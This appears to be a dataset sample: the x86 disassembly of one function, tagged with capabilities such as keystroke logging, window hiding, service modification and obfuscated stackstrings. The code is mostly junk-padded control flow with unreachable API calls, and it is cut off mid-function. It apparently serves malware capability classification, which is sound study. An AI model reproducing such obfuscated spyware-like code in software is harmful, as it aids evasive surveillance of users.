Function at 0x473982
Capabilities:
Check os version
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get graphical window text
Get keyboard layout
Hide graphical window
Log keystrokes via polling
Modify service
Read .ini file
Set registry value
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x34a0
call fcn.004a9f40
push esi
push edi
cmp dword [ebp + 8], 2
jl 0x480c4f
mov dword [ebp - 0x19c], 0
jmp 0x4739b4
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 4
jge 0x4739d0
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x32f8], 0x10c9
jmp 0x4739a7
mov dword [ebp - 0x19c], 0
jmp 0x4739e9
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x473a05
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x590], 0x2ba39464
jmp 0x4739dc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x590], 0
jmp 0x473a33
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x590]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x590], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x590], 3
jg 0x473ae8
mov byte [ebp - 0x407], 0
movzx eax, byte [ebp - 0x407]
test eax, eax
je 0x473a64
push 0xa91
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x590]
mov eax, dword [ebp + eax*4 - 0x32f8]
neg eax
je 0x473ac4
mov dword [ebp - 0x910], 0
jmp 0x473a95
mov eax, dword [ebp - 0x910]
inc eax
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x910], 3
jge 0x473ab1
mov eax, dword [ebp - 0x910]
mov dword [ebp + eax*4 - 0x314c], 0x1551da62
jmp 0x473a88
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x314c], 0x4ebb0cb8
jmp 0x473ae3
mov byte [ebp - 0x2af], 0
movzx eax, byte [ebp - 0x2af]
test eax, eax
je 0x473ae3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
jmp 0x473a18
mov dword [ebp - 0x920], 0xfffffffb
mov dword [ebp - 0x1edc], 0x5efa
mov dword [ebp - 0x918], 0
jmp 0x473b15
mov eax, dword [ebp - 0x918]
inc eax
mov dword [ebp - 0x918], eax
cmp dword [ebp - 0x918], 3
jge 0x473b31
mov eax, dword [ebp - 0x918]
mov dword [ebp + eax*4 - 0x3248], 0
jmp 0x473b08
mov dword [ebp - 0x920], 0xffffffe7
jmp 0x473b4a
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 0x1d
je 0x473b9e
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x598], 0
jmp 0x473b76
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 3
jge 0x473b92
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0x3248], 0x7a888ada
jmp 0x473b69
mov dword [ebp - 0x1edc], 0x690f1d89
jmp 0x473b3d
mov dword [ebp - 0x2fc], 0x2e91a049
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 0xee8], 0xfffffff7
mov dword [ebp - 0x928], 0x47cd
mov dword [ebp - 0x950], 0
mov dword [ebp - 0x1db4], 0xfffffff6
mov dword [ebp - 0x2158], 0x21589afc
mov dword [ebp - 0x238], 0
jmp 0x473bfd
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 2
jge 0x473c19
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0x2664], 0x3672d714
jmp 0x473bf0
mov dword [ebp - 0x238], 0
jmp 0x473c32
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x473c4e
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0xf8], 1
jmp 0x473c25
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x2d00], eax
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
je 0x473c82
push 6
pop eax
test eax, eax
je 0x473c82
mov dword [ebp - 0x1d50], 1
jmp 0x473c89
and dword [ebp - 0x1d50], 0
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x1d50]
jl 0x473ca3
mov dword [ebp - 0x1d58], 1
jmp 0x473caa
and dword [ebp - 0x1d58], 0
mov eax, dword [ebp - 0x1d58]
mov dword [ebp - 0x5a0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2664]
dec eax
mov dword [ebp - 0x1d60], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d60]
mov dword [ebp + eax - 0x2664], ecx
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x1d60]
jl 0x473cf7
mov dword [ebp - 0x1d78], 1
jmp 0x473cfe
and dword [ebp - 0x1d78], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
mov dword [ebp - 0x2954], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
mov dword [ebp - 0x295c], eax
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x2964], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
mov dword [ebp - 0x296c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf8], 0
jne 0x473d6c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf8], 0
jne 0x473d6c
and dword [ebp - 0x1d68], 0
jmp 0x473d76
mov dword [ebp - 0x1d68], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
cmp dword [ebp - 0x1d68], eax
jne 0x473d97
mov dword [ebp - 0x1d70], 1
jmp 0x473d9e
and dword [ebp - 0x1d70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
cmp dword [ebp - 0x1d70], eax
je 0x473dbf
mov dword [ebp - 0x2148], 1
jmp 0x473dc6
and dword [ebp - 0x2148], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
mov dword [ebp - 0x2974], eax
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x1d80], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d80]
mov dword [ebp + eax - 0xf8], ecx
mov eax, dword [ebp - 0x1d78]
cmp eax, dword [ebp - 0x1d80]
jge 0x473e12
mov dword [ebp - 0x1d88], 1
jmp 0x473e19
and dword [ebp - 0x1d88], 0
mov eax, dword [ebp - 0x1d88]
sub eax, dword [ebp - 0x950]
sub eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0x950]
jne 0x473e3f
mov dword [ebp - 0x2150], 1
jmp 0x473e46
and dword [ebp - 0x2150], 0
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x297c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf8]
mov dword [ebp - 0x2984], eax
mov dword [ebp - 0x1db4], 1
mov eax, dword [ebp - 0x1db4]
mov dword [ebp - 0x298c], eax
mov eax, dword [ebp - 0x950]
mov dword [ebp - 0x2994], eax
mov dword [ebp - 0x2158], 0xaedf47f2
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x1dbc], 0xa0d018d3
mov dword [ebp - 0x2168], 9
mov dword [ebp - 0x83c], 0
jmp 0x473ec5
mov eax, dword [ebp - 0x83c]
inc eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 3
jge 0x473ee1
mov eax, dword [ebp - 0x83c]
mov dword [ebp + eax*4 - 0x2d5c], 0x8039d6b9
jmp 0x473eb8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x299c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1dbc], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1dc4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1dc4]
mov dword [ebp + eax - 0x2d5c], ecx
mov eax, dword [ebp - 0x1dbc]
cmp eax, dword [ebp - 0x1dc4]
jne 0x473f29
mov dword [ebp - 0x2160], 1
jmp 0x473f30
and dword [ebp - 0x2160], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x29a4], eax
mov eax, dword [ebp - 0x24]
add eax, 6
imul eax, dword [ebp - 0x24]
cmp eax, 0xa6c8
jl 0x473f56
mov dword [ebp - 0x1dcc], 1
jmp 0x473f5d
and dword [ebp - 0x1dcc], 0
mov eax, dword [ebp - 0x1dcc]
sub eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jl 0x473f77
mov dword [ebp - 0x1dd4], 1
jmp 0x473f7e
and dword [ebp - 0x1dd4], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1dd4], eax
je 0x473faa
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2d5c], 0
jne 0x473faa
mov eax, 0xbec5ec62
test eax, eax
jne 0x473faa
and dword [ebp - 0x1b38], 0
jmp 0x473fb4
mov dword [ebp - 0x1b38], 1
mov eax, dword [ebp - 0x2168]
imul eax, dword [ebp - 0x1b38]
imul eax, eax, 0
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0
jmp 0x473fda
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffffb
je 0x473fff
mov byte [ebp - 0x2b1], 0
movzx eax, byte [ebp - 0x2b1]
test eax, eax
je 0x473ffd
push 0x1fbe
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x473fd3
mov dword [ebp - 0xb04], 0xb2b058ef
mov dword [ebp - 0x40], 0xba339924
mov dword [ebp - 0x140], 0xfffffff9
mov dword [ebp - 0x1b70], 0x254f8d36
mov dword [ebp - 0x2180], 0xadbefc71
mov dword [ebp - 0x29ac], 0xfffffffb
mov dword [ebp - 0x29b4], 0xb341
mov dword [ebp - 0x5c], 0
jmp 0x474052
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x474068
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x3280], 0x26ae69ed
jmp 0x47404b
mov dword [ebp - 0x5c], 0
jmp 0x474078
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x47408e
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x32e8], 0xe85dc32c
jmp 0x474071
mov dword [ebp - 0x5c], 0
jmp 0x47409e
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x4740b4
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x2d6c], 0xf459cadf
jmp 0x474097
mov eax, dword [ebp - 0x140]
add eax, 7
cmp eax, 0xbd52
jne 0x4740d0
mov dword [ebp - 0x2170], 1
jmp 0x4740d7
and dword [ebp - 0x2170], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x29bc], eax
cmp dword [ebp - 0x40], 0xf738f585
jae 0x4740f5
mov dword [ebp - 0xb5c], 1
jmp 0x4740fc
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xb5c], eax
jg 0x474113
mov dword [ebp - 0x1b40], 1
jmp 0x47411a
and dword [ebp - 0x1b40], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x1b40], eax
jne 0x474134
mov dword [ebp - 0xb64], 1
jmp 0x47413b
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xb64], eax
jge 0x474155
mov dword [ebp - 0x1b48], 1
jmp 0x47415c
and dword [ebp - 0x1b48], 0
cmp dword [ebp - 0x1b48], 0x13b2
jg 0x47417d
cmp dword [ebp - 0x140], 0
je 0x47417d
mov dword [ebp - 0xb6c], 1
jmp 0x474184
and dword [ebp - 0xb6c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xb6c], eax
jle 0x47419b
mov dword [ebp - 0x1b50], 1
jmp 0x4741a2
and dword [ebp - 0x1b50], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x1b50], eax
je 0x4741bc
mov dword [ebp - 0xb74], 1
jmp 0x4741c3
and dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xb74], eax
jl 0x4741dd
mov dword [ebp - 0x1b58], 1
jmp 0x4741e4
and dword [ebp - 0x1b58], 0
imul eax, dword [ebp - 0x1b58], 0
cmp eax, dword [ebp - 0x140]
je 0x4741ff
mov dword [ebp - 0xb7c], 1
jmp 0x474206
and dword [ebp - 0xb7c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xb7c], eax
jl 0x47421d
mov dword [ebp - 0x1b60], 1
jmp 0x474224
and dword [ebp - 0x1b60], 0
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x1b60]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x40]
test eax, eax
jne 0x474250
cmp dword [ebp - 0x40], 0
jne 0x474250
and dword [ebp - 0xb84], 0
jmp 0x47425a
mov dword [ebp - 0xb84], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xb84], eax
jl 0x474274
cmp dword [ebp - 0x40], 0
jne 0x474274
and dword [ebp - 0x1b68], 0
jmp 0x47427e
mov dword [ebp - 0x1b68], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1b68], eax
jle 0x474295
mov dword [ebp - 0xb8c], 1
jmp 0x47429c
and dword [ebp - 0xb8c], 0
mov eax, dword [ebp - 0xb8c]
mov dword [ebp - 0x1b70], eax
mov eax, dword [ebp - 0x1b70]
cmp dword [ebp - 0x40], eax
jl 0x4742bf
mov dword [ebp - 0x2178], 1
jmp 0x4742c6
and dword [ebp - 0x2178], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x29c4], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2180], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d6c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2d6c], eax
mov dword [ebp - 0x2a0], 0x96dd1e1e
mov dword [ebp - 0x40c], 2
mov dword [ebp - 0x110], 0x21f1
mov byte [ebp - 0x2b3], 0
movzx eax, byte [ebp - 0x2b3]
test eax, eax
je 0x47432b
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x2a0], 0
jne 0x47434c
mov dword [ebp - 0xb94], 1
jmp 0x474353
and dword [ebp - 0xb94], 0
cmp dword [ebp - 0xb94], 0xef7d
jne 0x474371
mov eax, 0x121ac488
test eax, eax
jne 0x474371
and dword [ebp - 0x1b78], 0
jmp 0x47437b
mov dword [ebp - 0x1b78], 1
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x1b78], eax
jne 0x474645
mov dword [ebp - 0x784], 0
jmp 0x4743b3
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 3
jge 0x4743cf
mov eax, dword [ebp - 0x784]
mov dword [ebp + eax*4 - 0x2360], 0xc285
jmp 0x4743a6
mov dword [ebp - 0x40c], 0
jmp 0x4743e8
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 2
jg 0x474643
mov dword [ebp - 0x5bc], 0
jmp 0x47440e
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 3
jge 0x47442a
mov eax, dword [ebp - 0x5bc]
mov dword [ebp + eax*4 - 0x2d7c], 0x717b38e5
jmp 0x474401
mov dword [ebp - 0x110], 0
jmp 0x474443
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 2
jg 0x47463e
mov dword [ebp - 0xbb4], 1
mov dword [ebp - 0x2190], 0x9381
mov dword [ebp - 0x2198], 0xdb2a93f0
mov dword [ebp - 0x2a0], 0
jmp 0x474487
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 2
jg 0x474639
mov eax, dword [ebp - 0x110]
cmp dword [ebp + eax*4 - 0x2360], 0
jne 0x4745f2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2360], 1
je 0x4744c4
mov dword [ebp - 0xb9c], 1
jmp 0x4744cb
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0xb9c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2d7c]
jne 0x4744f2
mov dword [ebp - 0x1b80], 1
jmp 0x4744f9
and dword [ebp - 0x1b80], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2360]
cmp dword [ebp - 0x1b80], eax
je 0x47451a
mov dword [ebp - 0xba4], 1
jmp 0x474521
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0xba4], eax
jle 0x47453b
mov dword [ebp - 0x1b88], 1
jmp 0x474542
and dword [ebp - 0x1b88], 0
mov eax, dword [ebp - 0x40c]
cmp dword [ebp - 0x1b88], eax
jge 0x47455c
mov dword [ebp - 0xbac], 1
jmp 0x474563
and dword [ebp - 0xbac], 0
mov eax, dword [ebp - 0xbac]
dec eax
cmp eax, dword [ebp - 0xbb4]
jle 0x47457e
mov dword [ebp - 0x1b90], 1
jmp 0x474585
and dword [ebp - 0x1b90], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2360]
imul eax, dword [ebp - 0x1b90]
cmp dword [ebp - 0xbb4], eax
jne 0x4745ac
mov dword [ebp - 0x1b98], 1
jmp 0x4745b3
and dword [ebp - 0x1b98], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x1b98], eax
jle 0x4745cd
mov dword [ebp - 0xbbc], 1
jmp 0x4745d4
and dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp + eax*4 - 0x2360]
cmp dword [ebp - 0xbbc], eax
je 0x4745f2
and dword [ebp - 0x2188], 0
jmp 0x4745fc
mov dword [ebp - 0x2188], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2d7c]
imul eax, dword [ebp - 0x2190]
cmp eax, 0xffffffff
jne 0x474621
mov dword [ebp - 0x1ba0], 1
jmp 0x474628
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 0x1ba0]
mov dword [ebp - 0x2198], eax
jmp 0x47447a
jmp 0x474436
jmp 0x4743db
jmp 0x47468d
mov byte [ebp - 0x2b5], 0
movzx eax, byte [ebp - 0x2b5]
test eax, eax
je 0x47466c
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov byte [ebp - 0x2b7], 0
movzx eax, byte [ebp - 0x2b7]
test eax, eax
je 0x47468d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 0x78c], 0
jmp 0x4746a6
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 3
jge 0x4746c2
mov eax, dword [ebp - 0x78c]
mov dword [ebp + eax*4 - 0x3164], 0
jmp 0x474699
mov dword [ebp - 0x4a0], 0xffffffff
mov dword [ebp - 0x21a0], 0xfffffffe
mov dword [ebp - 0x5c4], 0
jmp 0x4746ef
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 3
jge 0x47470b
mov eax, dword [ebp - 0x5c4]
mov dword [ebp + eax*4 - 0x3260], 0x8b108f82
jmp 0x4746e2
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x21a0], eax
mov dword [ebp - 0x4a0], 0
jmp 0x474730
mov eax, dword [ebp - 0x4a0]
inc eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 3
jge 0x47474c
mov eax, dword [ebp - 0x4a0]
mov dword [ebp + eax*4 - 0x3260], 0xfffffffb
jmp 0x474723
mov dword [ebp - 0x2fc], 0
jmp 0x474765
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0xc
jl 0x4755ca
mov dword [ebp - 0xbd4], 0x9cb61d22
mov dword [ebp - 0x29cc], 0xfb1c0380
mov dword [ebp - 0x29d4], 0x789328a0
mov dword [ebp - 0x29dc], 0xcd9d754
mov dword [ebp - 0x29e4], 0xffffffff
mov dword [ebp - 0x21a8], 0
mov dword [ebp - 0x29ec], 0xfffffffa
mov dword [ebp - 0x22f0], 2
mov dword [ebp - 0x29f4], 0x68939f5f
mov dword [ebp - 0x29fc], 0x110e6b6c
mov dword [ebp - 0x22e0], 0xfffffff9
mov dword [ebp - 0x22f8], 1
mov dword [ebp - 0x2a04], 1
mov dword [ebp - 0x1bb8], 0xfffffff9
mov dword [ebp - 0x1c0], 0
jmp 0x474817
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jge 0x474833
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x3278], 3
jmp 0x47480a
mov dword [ebp - 0x1c0], 0
jmp 0x47484c
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jge 0x474868
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x2678], 0x25739271
jmp 0x47483f
cmp dword [ebp - 0x1bb8], 0
jne 0x474889
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3278], 0
jg 0x474889
and dword [ebp - 0xbc4], 0
jmp 0x474893
mov dword [ebp - 0xbc4], 1
mov eax, dword [ebp - 0x21a8]
cmp dword [ebp - 0xbc4], eax
jg 0x4748ad
mov dword [ebp - 0x1ba8], 1
jmp 0x4748b4
and dword [ebp - 0x1ba8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2678]
mov dword [ebp - 0x22d0], eax
mov eax, dword [ebp - 0x1ba8]
mov dword [ebp - 0x22d8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2678]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2678], eax
mov eax, dword [ebp - 0x22d0]
cmp eax, dword [ebp - 0x22d8]
jne 0x474908
mov dword [ebp - 0xbcc], 1
jmp 0x47490f
and dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0xbd4]
imul eax, dword [ebp - 0xbcc]
test eax, eax
jne 0x474932
cmp dword [ebp - 0x22e0], 0
jne 0x474932
and dword [ebp - 0x1bb0], 0
jmp 0x47493c
mov dword [ebp - 0x1bb0], 1
cmp dword [ebp - 0x1bb0], 0
jle 0x474951
mov dword [ebp - 0x22e8], 1
jmp 0x474958
and dword [ebp - 0x22e8], 0
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0x2a0c], eax
mov eax, dword [ebp - 0x1bb8]
mov dword [ebp - 0x2a14], eax
mov eax, dword [ebp - 0x22f0]
mov dword [ebp - 0x2a1c], eax
mov eax, 0x1bd53d2a
cmp eax, 0x5661c443
je 0x474994
mov dword [ebp - 0xbdc], 1
jmp 0x47499b
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0xbdc]
mov dword [ebp - 0x22f8], eax
mov byte [ebp - 0x2b9], 0
movzx eax, byte [ebp - 0x2b9]
test eax, eax
je 0x4749c4
push 0x2697
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0xafc], 0x2509e71b
mov dword [ebp - 0x88], 0x2c03342e
mov dword [ebp - 0x2f4], 0x3b1a9565
mov dword [ebp - 0x7a4], 1
mov dword [ebp - 0x794], 0
jmp 0x474a05
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 1
jge 0x474a21
mov eax, dword [ebp - 0x794]
mov dword [ebp + eax*4 - 0xbe4], 1
jmp 0x4749f8
mov dword [ebp - 0x88], 0
jmp 0x474a3a
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x17
jge 0x474b1d
mov dword [ebp - 0x79c], 0x38ecf54c
mov dword [ebp - 0x2a24], 0xffffffff
mov dword [ebp - 0x2a2c], 0xffffffff
mov dword [ebp - 0x2a34], 1
mov dword [ebp - 0x5cc], 0
jmp 0x474a88
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 2
jge 0x474aa4
mov eax, dword [ebp - 0x5cc]
mov dword [ebp + eax*4 - 0x32a8], 0x516a205b
jmp 0x474a7b
mov dword [ebp - 0x79c], 0x16
jmp 0x474abd
mov eax, dword [ebp - 0x79c]
dec eax
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0x14
jg 0x474b18
mov dword [ebp - 0x5d4], 0
jmp 0x474adf
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 1
jge 0x474afb
mov eax, dword [ebp - 0x5d4]
mov dword [ebp + eax*4 - 0x1bc0], 0x84bc9c3
jmp 0x474ad2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1bc0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1bc0], eax
jmp 0x474ab0
jmp 0x474a2d
mov dword [ebp - 0x2f4], 0
jmp 0x474b36
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0
jg 0x474c77
mov dword [ebp - 0x7a4], 0
jmp 0x474b5c
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0
jg 0x474c24
mov dword [ebp - 0x88], 0
jmp 0x474b82
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jl 0x474bba
mov byte [ebp - 0x2bb], 0
movzx eax, byte [ebp - 0x2bb]
test eax, eax
je 0x474bb8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x474b75
mov dword [ebp - 0x88], 0
jmp 0x474bd3
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jl 0x474c1f
mov byte [ebp - 0x2bd], 0
movzx eax, byte [ebp - 0x2bd]
test eax, eax
je 0x474bfd
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov byte [ebp - 0x2bf], 0
movzx eax, byte [ebp - 0x2bf]
test eax, eax
je 0x474c1d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x474bc6
jmp 0x474b4f
mov eax, dword [ebp - 0x2f4]
mov eax, dword [ebp + eax*4 - 0xbe4]
mov dword [ebp - 0x2a3c], eax
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [ebp - 0x2f4]
cmp dword [ebp + eax*4 - 0xbe4], ecx
jne 0x474c58
mov dword [ebp - 0x1bc8], 1
jmp 0x474c5f
and dword [ebp - 0x1bc8], 0
mov eax, dword [ebp - 0x1bc8]
neg eax
sub eax, 0xfff8
mov dword [ebp - 0x88], eax
jmp 0x474b29
mov dword [ebp - 0xbec], 0
mov dword [ebp - 0x5dc], 0xffffffff
mov byte [ebp - 0x2c1], 0
movzx eax, byte [ebp - 0x2c1]
test eax, eax
je 0x474ca5
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x5dc], 0
jmp 0x474cbe
mov eax, dword [ebp - 0x5dc]
dec eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0xffffffff
jl 0x474d6b
mov dword [ebp - 0x7ac], 3
mov byte [ebp - 0x2c3], 0
movzx eax, byte [ebp - 0x2c3]
test eax, eax
je 0x474cf3
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
mov dword [ebp - 0x7ac], 0
jmp 0x474d0c
mov eax, dword [ebp - 0x7ac]
inc eax
